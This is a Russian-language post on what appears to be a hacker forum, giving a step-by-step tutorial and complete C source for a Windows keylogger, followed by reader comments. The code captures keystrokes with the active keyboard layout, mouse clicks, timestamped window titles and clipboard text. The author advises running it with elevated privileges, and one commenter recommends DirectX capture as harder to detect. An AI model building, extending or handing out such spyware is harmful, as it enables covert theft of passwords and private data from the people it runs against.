• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем юзермодный кейлоггер на C

H2SO4

RAID-массив
Пользователь
Регистрация
29.02.2020
Сообщения
78
Реакции
103
Депозит
100
Всем привет, сегодня мы будем писать кейлоггер для винды и компилировать его в gcc потому что нам лень качать VS. Начнем.​

Определимся какие цели мы преследуем, что должен уметь кейлоггер и какой дополнительный функционал он должен иметь.
  1. Собсвенно, кейлоггер. Необходимо получать пользовательский ввод с клавиатуры и как-то его обрабатывать. Как дополнение - еще и клики мыши.
  2. Для большей информативности также будем логировать заголовок активного окна и время, чтобы понимать куда и когда что писалось.
  3. Полезная информация иногда не вводится с клавиатуры, а копируется-вставляется через буфер обмена. Необходимо мониторить и его.

С целями определились, потихоньку приступаем к кодингу. Так как нам лень качать больше 4GB мастхэва IDE Visual Studio, нужно определиться с ее заменой. На ум сразу приходит Pelles C, DEV-C++, но мы долго не мусолим и додумываемся поставить себе свободный компилятор gcc(если точнее это набор компиляторов). Вместо красивой IDE у нас будет навороченый блокнот Notepad++, а вместо треуголькой зеленой кнопки - батник.
  1. GCC - например http://www.equation.com/servlet/equation.cmd?fa=fortran
  2. Notepad++ https://notepad-plus-plus.org/

Как только установили всё, нужно добавить путь к gcc.exe в переменные окружения, чтобы постоянно не указывать полный путь до компилятора. Идем в Панель управления -> Cистема -> Дополнительные параметры системы -> Переменные среды, выделяем PATH, тыкаем изменить и добавляем там путь. У меня это выглядит так:
1.jpg

Теперь открываем командную строку, пишем туда gcc -v, если мы все сделали правильно, то увидим примерно такой вывод:
2.jpg

Для удобства мы сделаем батник для компиляции. В заранее созданной папке для нашего проекта создаем файл compile32.bat со следующим содержимым:

gcc main.c --entry=_wWinMain@16 -m32 -municode -nostdlib -nostartfiles -nodefaultlibs -Os -nolibc -l user32 -l kernel32 -l shell32 -mwindows -o main32.exe pause

Разберем параметры:
  • main.c - файл с исходным кодом, который мы будем писать далее
  • --entry=_wWinMain@16 - точка входа в программу, главная функция с которой начинается работа
  • -municode - используем юникод по дефолту для строк, WinAPI и т.д.
  • -nostdlib -nostartfiles -nodefaultlibs -nolibc - исключаем стандартные библиотеки чтобы размер бинаря был минимальным
  • -Os - оптимизация по размеру
  • -l user32, kernel32, shell32 - линкуемся с библиотеками, в которых есть нужные нам WinAPI функции
  • -mwindows чтобы в PE заголовке было "GUI application" и у нас не вылазила консоль. Хотя нам консоль понадобится, но мы её сами аллоцируем
  • -o main32.exe - файл на выходе


С окружением разобрались, можно начинать писать код.
Какие вообще есть варианты перехватывать ввод с клавиатуры? Например физическое устройство в разрез провода, но нам это не подходит по понятным причинам.
Остаются программные методы, например реализовать через драйвер, но мы этого делать не будем, потому что написать драйвер это одно, а с загрузкой драйвера в систему не так все просто, да и статья у нас про юзермодный кейлоггер. К счастью в юзермоде вариантов предостаточно.
К примеру самое простое: Ставим свой хук в цепочку хуков и нам в коллбэк будут прилетать события ввода данных с клавиатуры

C:
LRESULT CALLBACK keyboardHookProc(int nCode,  WPARAM wParam, LPARAM lParam)
{
    // тут обрабатываем события клавиатуры
    PKBDLLHOOKSTRUCT key = (PKBDLLHOOKSTRUCT) (lParam);
    ...
    ...
    ...
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main(void) {
    // ставим хук
    SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc,NULL,0);
    ...
    ...
    ...
    return 0;
}

На практике вариант не сильно применим, так как события иногда не прилетают по разным причинам.

Еще вариант, в цикле крутим вызов функции GetAsyncKeyState, которая определяет была ли нажата определенная клавиша с момента последнего вызова функции

C:
int main()
{
    while (1)
    {
        for(i = 0; i<256; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            //нажата клавиша с виртуальным кодом i, обрабатываем
        }
        // Тут необходимо поставить правильную задержу. Узнаем вызовом SystemParametersInfo с параметром SPI_GETKEYBOARDSPEED
    }
return 0;
}
Можно не перебирать все клавиши подряд во вложенном цикле, а получить состояние всех клавиш за раз:
C:
unsigned char kbstate[256];
GetKeyboardState(kbstate)
   for(i=0; i<256: i++)
   {
      if(kbstate[i] & 0x1)
      {
         //нажата клавиша с виртуальным кодом i, обрабатываем
      }
   }

Эти вариант уже получше, но мы будем использовать другой. С помощью функции RegisterRawInputDevices подпишемся на типы устройств, которые будут поставлять нам сырые данные.


Все, теперь точно начинаем кодить. С чего начинается программа? Правильно, с точки входа. Реализуем скелет:
C:
#include <windows.h>

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nCmdShow)
{
    return 0;
}

Читаем в документации про функцию RegisterRawInputDevices, и узнаем что в нее нужно передать структуру, в которой помимо прочих членов есть HWND hwndTarget, это хэндл окна, в которое будут прилетать сообщения от устройств. Окна у нас нет, по этому делаем. Окно как-бы будет, но невидимое. С помощью CreateWindowEX делаем окно только для приема сообщений (HWND_MESSAGE). Заодно аллоцируем консоль для вывода логов.
C:
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nCmdShow)
{
    AllocConsole();
    WNDCLASSEX wc;
    HWND hwnd;
    MSG msg;

    const TCHAR MyClassName[] = L"MyClassName";

    ZeroMemory(&wc, sizeof(WNDCLASSEX));
    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.lpfnWndProc   = WindowProc;
    wc.hInstance     = hInstance;
    wc.lpszClassName = MyClassName;
  
    if(!RegisterClassEx(&wc))
    {
        return 0;
    }
   
    if(!CreateWindowEx(0, MyClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL))
    {

        return 0;
    }
  

    while(GetMessage(&msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
  
    return msg.wParam; 
 
}
Следом выше создаем функцию WindowProc для обработки сообщений.
C:
LRESULT CALLBACK WindowProc(
  _In_ HWND   hwnd,
  _In_ UINT   uMsg,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
  )
  {
    switch(uMsg)
    {
        case WM_DESTROY:         
            PostQuitMessage(0);
            break;
          
        default:
            return DefWindowProc(hwnd, uMsg, wParam, lParam);

    }
На будущее сразу добавим функцию в которую мы будем передавать перехваченную инфу. Для наглядности она будет писать в консоль:
C:
VOID AppendLog(TCHAR * data){
    DWORD lpNumberOfCharsWritten;
    WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), data, lstrlen(data), &lpNumberOfCharsWritten, NULL);
 
}

Теперь наконец-то можно использовать RegisterRawInputDevices.

Сразу после создания окна в него прилетает сообщение WM_CREATE, в его обработчике реализуем нужное:
C:
    case WM_CREATE:
            RAWINPUTDEVICE rid;
            rid.usUsagePage = 1;
            rid.dwFlags = RIDEV_INPUTSINK;
            rid.hwndTarget = hwnd;
            rid.usUsage = 2;    // для мыши      
            if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
            {
                AppendLog(L"Failed");
            }

            rid.usUsage = 6;    // для клавиатуры
            if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
            {
                AppendLog(L"Failed");
            }
            break;

Если все прошло успешно, то в окно будут лететь сообщения WM_INPUT, а в lParam будут данные с устройств. Добавляем обработчик (небольшие пояснения в комментариях):
C:
    case WM_INPUT:
            GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
            buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);
      
            if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize,sizeof(RAWINPUTHEADER)))
            {
                if(buffer->header.dwType == RIM_TYPEMOUSE && buffer->data.mouse.usButtonFlags > 0) // пришло сообшение от мыши, сообшение о том что нажата кнопка, обрабатываем
                {             
                    switch(buffer->data.mouse.usButtonFlags){                     
                        case RI_MOUSE_LEFT_BUTTON_DOWN: AppendLog(L"[MLB]"); break;   // Нажата левая кнопка мыши
                        case RI_MOUSE_MIDDLE_BUTTON_DOWN: AppendLog(L"[MMB]"); break; // средняя
                        case RI_MOUSE_RIGHT_BUTTON_DOWN: AppendLog(L"[MRB]"); break;  // правая
                    }
                }
             
                // сообщение от клавиатуры, нажата клавиша или системная клавиша
                if(buffer->header.dwType == RIM_TYPEKEYBOARD && (buffer->data.keyboard.Message == WM_KEYDOWN || buffer->data.keyboard.Message == WM_SYSKEYDOWN))
                {
                    TCHAR key[256];
                    ResolveKey(buffer->data.keyboard.VKey, key); // подробнее об этой функции далее
                    AppendLog(key);
                }
            }
            HeapFree(GetProcessHeap(), 0, buffer);
С обработкой мыши все просто, нажата кнопка - записали в лог, а с клавиатурой есть ньюансы. В buffer->data.keyboard.VKey хранится виртуальный код клавиши. С ним далеко не уедешь, так как он никак не зависит от локали, активной раскладки и регистра. Например, мы пишем "Привет, мир!", а нам прилетят "GHBDTN, VBH1". Необходимо получить более точные данные.

Реализуем функцию ResolveKey. Вкратце: получаем состояние клавиатуры и раскладку для активного окна, получаем сканкод, с помощью перечисленного получаем юникодный символ с нужной буквой, либо название системной клавиши.
C:
int ResolveKey(UINT Vkey, TCHAR * key)
{
    BYTE lpKeyState[256];
    HKL keyboardLayout;
    UINT ScanCode;
    TCHAR KeyName[32];
    GetKeyboardState(lpKeyState);
    keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL));
 
    ScanCode = MapVirtualKeyEx(Vkey, MAPVK_VK_TO_VSC, keyboardLayout);
 
    switch (Vkey)
    {
        case VK_NUMPAD0: case VK_NUMPAD1: case VK_NUMPAD2: case VK_NUMPAD3: case VK_NUMPAD4: case VK_NUMPAD5:
        case VK_NUMPAD6: case VK_NUMPAD7: case VK_NUMPAD8: case VK_NUMPAD9 : break;
     
        case VK_MULTIPLY: case VK_ADD:
        case VK_SUBTRACT: case VK_DECIMAL:
        case VK_DIVIDE : break;
     
        case VK_LEFT: case VK_UP: case VK_RIGHT: case VK_DOWN:
        case VK_RCONTROL: case VK_RMENU:
        case VK_LWIN: case VK_RWIN: case VK_APPS:
        case VK_PRIOR: case VK_NEXT:
        case VK_END: case VK_HOME:
        case VK_INSERT: case VK_DELETE:
        case VK_NUMLOCK:
            ScanCode |= KF_EXTENDED;
        default:         
            if ( GetKeyNameText(ScanCode << 16, KeyName, sizeof(KeyName)) !=0 ){
                if (lstrlen(KeyName)>1){
                        lstrcpy(key, L"[");
                        lstrcat(key, KeyName);
                        lstrcat(key, L"]");
                        if (Vkey == VK_RETURN) lstrcat(key, L"\n");
                        return 0;
                 
                }
            };
    }
 
    lpKeyState[VK_CONTROL] = 0x00;
    return ToUnicodeEx(Vkey, ScanCode, lpKeyState, key, 2, 0, keyboardLayout);
 
}
Небольшое пояснение про строчку lpKeyState[VK_CONTROL] = 0x00;. Если сочетание клавиши с Ctrl, например Ctrl+C, то эта клавиша резольвится в неправильный символ, поэтому сделаем так как будто Ctrl не нажат, такой вот небольшой костыль. Ну и про if (Vkey == VK_RETURN) lstrcat(key, L"\n"); - если нажат Enter, то пишем в лог [Enter] и перевод на новую строку.


Первый чекпоинт прошли, далее у нас в меню мониторинг заголовка активного окна.
Чтоб его получить много телодвижений не нужно, апишкой получаем хэндл, по хэндлу получаем заголовок.
C:
    TCHAR ActiveWindowText[512];
    GetWindowText(GetForegroundWindow(),ActiveWindowText, sizeof(ActiveWindowText));

Но как отслеживать смену окна, чтоб получить заголовок нового? Логичный вариант: с определенной периодичностью получаем заголовок, если он отличается от предыдущего - пишем в лог. Можно попробовать вариант поизящнее: ставим хук на событие EVENT_SYSTEM_FOREGROUND с помощью SetWinEventHook, тогда в момент смены окна мы будем получать сообщения об этом. Но тут загвоздка в том, что мы будем получать сообщение только в момент смены окна, а не в момент смены заголовка. Поясню - например переключаемся между вкладками в браузере - заголовок окна менятся, но само окно то то же самое, по этому сообщение мы не получим. По этому возвращаемся к первому варианту.

Определимся с переодичностью, к примеру 10 миллисекунд: #define WNDCAPTIONTIMERDELAY 10

Теперь нам нужно реализовать это дело. Тут опять варианты: либо создаем отдельный поток в котором крутим цикл и получаем заголовки, либо установим таймер. Для таймера нужно окно, и оно у нас как раз есть.

В WM_CREATE добавляем код:
C:
    SetTimer(hwnd, WNDCAPTIONTIMERID,  WNDCAPTIONTIMERDELAY, (TIMERPROC) NULL);
где WNDCAPTIONTIMERID это уникальный номер, а WNDCAPTIONTIMERDELAY - периодичность. Глобально задефайним:
C:
    #define WNDCAPTIONTIMERID 123
    #define WNDCAPTIONTIMERDELAY 10
После установки таймера будем ловить сообщения WM_TIMER:
C:
    case WM_TIMER:
            switch (wParam)
            {
                case WNDCAPTIONTIMERID:
                    GetWindowText(GetForegroundWindow(),ActiveWindowText, sizeof(ActiveWindowText));
                    if (lstrcmp(LastWindowText, ActiveWindowText) !=0){                     
                        lstrcpy(LastWindowText, ActiveWindowText);                     
                        SYSTEMTIME st;
                        GetLocalTime(&st);
                        TCHAR buff[1024];
                        wsprintf(buff, L"\n[%d-%02d-%02d %02d:%02d:%02d | %s]\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, ActiveWindowText);
                        AppendLog(buff);
                     
                    }
            }
            break;
Краткие пояснения: по приходу сообщения получаем заголовок активного окна в ActiveWindowText, сравниваем его с предыдущим значением в LastWindowText, если они отличаются, записываем ActiveWindowText в LastWindowText и пишем в лог заголовок заодно с текущим временем в формате [ВРЕМЯ | ЗАГОЛОВОК ОКНА]


Вторая цель выполнена, займемся буфером обмена.
Тут у нас опять есть два путя. Либо постоянно крутим цикл и проверям что есть в буфере обмена, либо ищем обходной путь. Первый вариант не труЪ, по этому смотрим какие есть варианты:
1. Функция SetClipboardViewer. C её помощью добавляем свое окно в цепочку окон просмотрщиков буфера обмена, далее ловим сообщения WM_DRAWCLIPBOARD. По приходу сообщения читаем текст из буфера и сохраняем. Есть минусы - необходимы лишние телодвижения: пересылать далее сообщение WM_DRAWCLIPBOARD другим окнам в цепочке. Также мы зависим от предыдущих окон в цепочке, они могут зафейлить и не переслать нам сообщение.

2. Функция AddClipboardFormatListener. Вызываем её, и нам в окно будут лететь сообщения WM_CLIPBOARDUPDATE, сигнализирующие о том что в буфере обмена что-то поменялось. Воспользуемся ей.


Также в WM_CREATE вызываем AddClipboardFormatListener(hwnd), и получаем ошибку компиляции. Дело в том что функции нет в наших поключенных .lib файлах. Но это не проблема, дернем ее динамически, для этого нужно получить её адрес из либы "user32.dll":
C:
    typedef BOOL WINAPI (*fnAddClipboardFormatListener)(_In_ HWND hwnd);
    fnAddClipboardFormatListener AddClipboardFormatListener;
    AddClipboardFormatListener = GetProcAddress(LoadLibrary(L"user32.dll"), "AddClipboardFormatListener");
    AddClipboardFormatListener(hwnd);
Далее необходимо реализовать обработчик сообщений WM_CLIPBOARDUPDATE:
C:
        case WM_CLIPBOARDUPDATE:
            {             
                if (IsClipboardFormatAvailable(CF_UNICODETEXT)){
                    BOOL b = FALSE;
                    int c = 0;
                    while (b!=TRUE || c>10){
                        c++;
                        b = OpenClipboard(hwnd);
                        if (b){
                            HANDLE hMem = GetClipboardData(CF_UNICODETEXT);
                            LPTSTR StringLock = (LPTSTR)GlobalLock(hMem);
                            if (StringLock != NULL){
                                AppendLog(L"\n[Clipboard]\n");
                                AppendLog(StringLock);
                                AppendLog(L"\n[End clipboard]\n");
                                GlobalUnlock(hMem);
                            }
                            CloseClipboard(); 
                        };
                    };
                };
            }
            break;
Пояснения: как только пришло собщение WM_CLIPBOARDUPDATE - проверяем, что в буфере: текст или нет. Если текст, то вытаскиваем его из буфера и пишел в лог, обрамляя в [Clipboard]...[End clipboard]. Но что за странный цикл "while (b!=TRUE || c>10){"? Дело в том, что иногда при открытии буфера функцией OpenClipboard происходит фейл, так как буфер все еще занят предыдщим владельцем. Остается занятым он непродолжительное время, и такой костыль нивелирует проблему.

Заключение.
В этой статье мы разработали алгоритм простого кейлоггера, попутно разобрав различные варианты решений сопутствующих задач. На выходе у нас получился миниатюрный exe размером 16KB. Полный исходный код и мини-демонстрация будут ниже. Исходный код не идеален, где-то ради наглядности были допущения, где-то желательно было бы поставить дополнительные проверки. Также стоит описать один ньюанс: кейлоггер не будет перехватывать ввод из приложений, запущенных от имени администратора, если он сам не запущен также. Поэтому для лучшего эффекта необходимо позаботиться о привелегиях. Можно еще долго разглагольствовать, но пора заканчивать статью. Оставляйте фидбэки, критикуйте, предлагайте, задавайте вопросы в комментариях. За сим откланиваюсь.


C:
#include <windows.h>

VOID AppendLog(TCHAR * data){
    DWORD lpNumberOfCharsWritten;
    WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), data, lstrlen(data), &lpNumberOfCharsWritten, NULL);
 
}


int ResolveKey(UINT Vkey, TCHAR * key)
{
    BYTE lpKeyState[256];
    HKL keyboardLayout;
    UINT ScanCode;
    TCHAR KeyName[32];
    GetKeyboardState(lpKeyState);
    keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL));
 
    ScanCode = MapVirtualKeyEx(Vkey, MAPVK_VK_TO_VSC, keyboardLayout);
 
    switch (Vkey)
    {
        case VK_NUMPAD0: case VK_NUMPAD1: case VK_NUMPAD2: case VK_NUMPAD3: case VK_NUMPAD4: case VK_NUMPAD5:
        case VK_NUMPAD6: case VK_NUMPAD7: case VK_NUMPAD8: case VK_NUMPAD9 : break;
     
        case VK_MULTIPLY: case VK_ADD:
        case VK_SUBTRACT: case VK_DECIMAL:
        case VK_DIVIDE : break;
     
        case VK_LEFT: case VK_UP: case VK_RIGHT: case VK_DOWN:
        case VK_RCONTROL: case VK_RMENU:
        case VK_LWIN: case VK_RWIN: case VK_APPS:
        case VK_PRIOR: case VK_NEXT:
        case VK_END: case VK_HOME:
        case VK_INSERT: case VK_DELETE:
        case VK_NUMLOCK:
            ScanCode |= KF_EXTENDED;
        default:         
            if ( GetKeyNameText(ScanCode << 16, KeyName, sizeof(KeyName)) !=0 ){
                if (lstrlen(KeyName)>1){
                        lstrcpy(key, L"[");
                        lstrcat(key, KeyName);
                        lstrcat(key, L"]");
                        if (Vkey == VK_RETURN) lstrcat(key, L"\n");
                        return 0;
                 
                }
            };
    }
 
    lpKeyState[VK_CONTROL] = 0x00;
    return ToUnicodeEx(Vkey, ScanCode, lpKeyState, key, 2, 0, keyboardLayout);
 
}

TCHAR LastWindowText[512];
TCHAR ActiveWindowText[512];

LRESULT CALLBACK WindowProc(
  _In_ HWND   hwnd,
  _In_ UINT   uMsg,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
  )
  {
    #define WNDCAPTIONTIMERID 123
    #define WNDCAPTIONTIMERDELAY 10
    RAWINPUTDEVICE rid;
    RAWINPUT *buffer;
    UINT dwSize;
    HWND hNextViewer;
    switch(uMsg)
    {
        case WM_TIMER:
            switch (wParam)
            {
                case WNDCAPTIONTIMERID:
                    GetWindowText(GetForegroundWindow(),ActiveWindowText, sizeof(ActiveWindowText));
                    if (lstrcmp(LastWindowText, ActiveWindowText) !=0){                     
                        lstrcpy(LastWindowText, ActiveWindowText);                     
                        SYSTEMTIME st;
                        GetLocalTime(&st);
                        TCHAR buff[1024];
                        wsprintf(buff, L"\n[%d-%02d-%02d %02d:%02d:%02d | %s]\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, ActiveWindowText);
                        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
                        AppendLog(buff);
                        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED);
                     
                    }
            }
            break;
         
        case WM_CLIPBOARDUPDATE:
            {             
                if (IsClipboardFormatAvailable(CF_UNICODETEXT)){
                    BOOL b = FALSE;
                    int c = 0;
                    while (b!=TRUE || c>10){
                        c++;
                        b = OpenClipboard(hwnd);
                        if (b){
                            HANDLE hMem = GetClipboardData(CF_UNICODETEXT);
                            LPTSTR StringLock = (LPTSTR)GlobalLock(hMem);
                            if (StringLock != NULL){
                                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE);
                                AppendLog(L"\n[Clipboard]\n");
                                AppendLog(StringLock);
                                AppendLog(L"\n[End clipboard]\n");
                                GlobalUnlock(hMem);
                                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED);
                            }
                            CloseClipboard(); 
                        };
                    };
                };
            }
            break;


        case WM_CREATE:
            SetTimer(hwnd, WNDCAPTIONTIMERID,  WNDCAPTIONTIMERDELAY, (TIMERPROC) NULL);
         
            typedef BOOL WINAPI (*fnAddClipboardFormatListener)(_In_ HWND hwnd);
            fnAddClipboardFormatListener AddClipboardFormatListener;
            AddClipboardFormatListener = GetProcAddress(LoadLibrary(L"user32.dll"), "AddClipboardFormatListener");
            AddClipboardFormatListener(hwnd);
         
            rid.usUsagePage = 1;
            rid.dwFlags = RIDEV_INPUTSINK;
            rid.hwndTarget = hwnd;
            rid.usUsage = 2;          
            if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
            {
                AppendLog(L"Failed");
            }
            rid.usUsage = 6;
            if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
            {
                AppendLog(L"Failed");
            }
            break;
          
        case WM_INPUT:
            GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
            buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);
      
            if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize,sizeof(RAWINPUTHEADER)))
            {
                if(buffer->header.dwType == RIM_TYPEMOUSE && buffer->data.mouse.usButtonFlags > 0)
                {             
                    switch(buffer->data.mouse.usButtonFlags){                     
                        case RI_MOUSE_LEFT_BUTTON_DOWN: AppendLog(L"[MLB]"); break;
                        case RI_MOUSE_MIDDLE_BUTTON_DOWN: AppendLog(L"[MMB]"); break;
                        case RI_MOUSE_RIGHT_BUTTON_DOWN: AppendLog(L"[MRB]"); break;
                    }
                }
             
                if(buffer->header.dwType == RIM_TYPEKEYBOARD && (buffer->data.keyboard.Message == WM_KEYDOWN || buffer->data.keyboard.Message == WM_SYSKEYDOWN))
                {
                    TCHAR key[256];
                    ResolveKey(buffer->data.keyboard.VKey, key);
                    AppendLog(key);
                }
            }
            HeapFree(GetProcessHeap(), 0, buffer);
            break;
          
        case WM_DESTROY:
         
            PostQuitMessage(0);
            break;
          
        default:
            return DefWindowProc(hwnd, uMsg, wParam, lParam);
    }
    return 0;
  }




int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nCmdShow)
{
    AllocConsole();
    WNDCLASSEX wc;
    HWND hwnd;
    MSG msg;

    const TCHAR MyClassName[] = L"MyClassName";

    ZeroMemory(&wc, sizeof(WNDCLASSEX));
    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.lpfnWndProc   = WindowProc;
    wc.hInstance     = hInstance;
    wc.lpszClassName = MyClassName;
  
    if(!RegisterClassEx(&wc))
    {
        return 0;
    }
   
    if(!CreateWindowEx(0, MyClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL))
    {

        return 0;
    }
  

    while(GetMessage(&msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
  
    return msg.wParam; 
 
}
gcc main.c --entry=wWinMain -m64 -municode -nostdlib -nostartfiles -nodefaultlibs -Os -nolibc -l user32 -l kernel32 -l shell32 -mwindows -o main64.exe
gcc main.c --entry=_wWinMain@16 -m32 -municode -nostdlib -nostartfiles -nodefaultlibs -Os -nolibc -l user32 -l kernel32 -l shell32 -mwindows -o main32.exe
 
насчет получения заголовка активного окна. не лучше ли получать его не в цикле с периодичностью 10мс, а только при нажатии клавиш ? прям перед вызовом ResolveKey
 
насчет получения заголовка активного окна. не лучше ли получать его не в цикле с периодичностью 10мс, а только при нажатии клавиш ? прям перед вызовом ResolveKey
Да, так тоже можно, это хороший вариант.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И лучше клавиши ловить через DirectX, весьма хороший метод на данный момент в плане детектируемости.
P.S: А зачем ты все строки оборачиваешь в TCHAR, в то же время захардкорив в некоторых местах юникод?
 
И лучше клавиши ловить через DirectX, весьма хороший метод на данный момент в плане детектируемости.
P.S: А зачем ты все строки оборачиваешь в TCHAR, в то же время захардкорив в некоторых местах юникод?
А вот почему-то небыло макроса _T() в gcc, решил не париться)
 
Как бы кейлоггер, но как бы не полностью... закрепление, отправка данных? Но в целом годно, хотя бы потому, что Си и выньапи, и нестандартный кейлог, а то школота обычно дрочит SetWindowsHookEx и GetAsyncKeyState
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх